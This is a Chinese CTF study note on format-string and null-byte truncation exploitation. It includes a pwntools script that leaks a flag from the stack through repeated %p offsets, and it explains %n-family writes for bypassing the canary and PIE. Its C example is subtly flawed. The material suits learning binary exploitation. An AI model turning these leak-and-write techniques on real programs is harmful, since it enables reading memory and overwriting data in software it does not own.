泄露栈的内存,泄露任意地址内存
修改栈的内存,修改任意地址内存
\x00截断漏洞
用栈溢出覆盖字符串截断符\x00使得泄露一些重要信息,如canary泄露或直接泄露flag
#include<stdio.h>
#include<string.h>
int main(){
char *x="hello, world";
strcat(x,"flag{666}");
int len=strlen(x);
read(0,x,len);
}
在这段代码中,如果我们有能力栈溢出覆盖x的末尾的\x00,那么read函数便会打印出flag,同样,canary结尾也是\x00,可以通过覆盖,然后接受到canary的值,从而进行绕过。
实现复写
printf中可以用%n,%hn,%hhn三个向地址中写入值的格式化命令,%hhn是写入一个字节,%hn是写入两个字节,%n是写入四个字节
内容位于栈上泄露
from pwn import *
# p = remote("node5.anna.nssctf.cn", 28114)
context(log_level='debug', arch='amd64', os='linux')
p = process("./pwn")
flag_addr = 12 #根据栈的结构确定flag所在地址,
flag = ''
while True:
p.sendlineafter(b'Echo as a service', '%{}$p'.format(flag_addr)) #%{} 是一个占位符
p.recvuntil(b'0x')
part = p.recvuntil(b'\n')[:-1]
for i in range(0, len(part), 2): #这里是小端序,因此要反转一下
index = len(part) - i
flag += chr(int(part[index - 2:index].ljust(2, b'0'), 16))
print(flag)
if '}' in flag:
break
flag_addr += 1
格式化字符串+Canary+PIE
no_money(begingCTF)
fmtarg + 地址 获取相对于格式化字符串漏洞的偏移位置
%n用法:%xxc%x%hn/hhn xx为写入的内容 x为偏移量
利用栈链改变栈上的值
用%p*n代替的$的偏移
改动时还需要注意原来的值
标签:格式化,写入,len,flag,字符串,x00,泄露 From: https://www.cnblogs.com/Anike/p/18026206